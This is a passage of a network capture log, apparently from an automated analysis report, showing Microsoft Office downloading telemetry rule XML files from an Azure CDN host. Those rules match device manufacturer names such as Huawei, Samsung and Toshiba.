encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.4	49788	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:01 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:01 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:01 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 67fffc2c-401e-000a-5dae-264a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052801Z-16849878b78tg5n42kspfr0x4800000004pg000000002x19 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:28:01 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.4	49785	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:01 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:01 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:01 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 864201cb-901e-0015-2b18-26b284000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052801Z-16849878b785jrf8dn0d2rczaw00000005sg0000000079km x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:28:01 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.4	49787	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:01 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:01 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:01 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: de33ccc9-c01e-008e-25fe-267381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052801Z-16849878b78xblwksrnkakc08w00000003tg00000000dcgv x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:28:01 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.4	49791	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:01 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:02 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:02 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: ff77512b-301e-000c-17f4-24323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052802Z-15b8d89586f8l5961kfst8fpb00000000ey000000000cqwp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:28:02 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.4	49790	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:01 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:02 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:01 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 546431bf-201e-0085-0b72-2734e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052801Z-16849878b78bjkl8dpep89pbgg000000037000000000fqhk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-28 05:28:02 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.4	49792	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:01 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:02 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:02 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 2760be74-301e-0096-200b-26e71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052802Z-15b8d89586ff5l62aha9080wv000000005sg00000000acfg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:28:02 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.4	49789	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:01 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:02 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:01 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 54a08b66-801e-008f-529b-272c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052801Z-16849878b786jv8w2kpaf5zkqs00000003kg0000000002zf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:28:02 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.4	49793	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:01 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:02 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:01 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: fa11464d-701e-0032-1f49-27a540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052801Z-16849878b78tg5n42kspfr0x4800000004n0000000006gm1 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:28:02 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.4	49794	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:02 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:02 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:02 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 892d3b27-201e-005d-7649-27afb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052802Z-16849878b78qfbkc5yywmsbg0c00000004ag000000002u00 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:28:02 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.4	49795	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:02 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:02 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:02 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: d63b5638-a01e-0021-2ab4-27814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052802Z-16849878b78qf2gleqhwczd21s00000004wg000000000e30 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-28 05:28:02 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.4	49798	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:02 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:02 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:02 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: 5e4053db-f01e-0052-6472-279224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052802Z-16849878b78hh85qc40uyr8sc800000004rg00000000q6a3 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:28:02 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.4	49796	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:02 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:02 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:02 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: c9fe3c14-601e-0050-50d7-262c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052802Z-16849878b787bfsh7zgp804my400000003ag00000000dphq x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
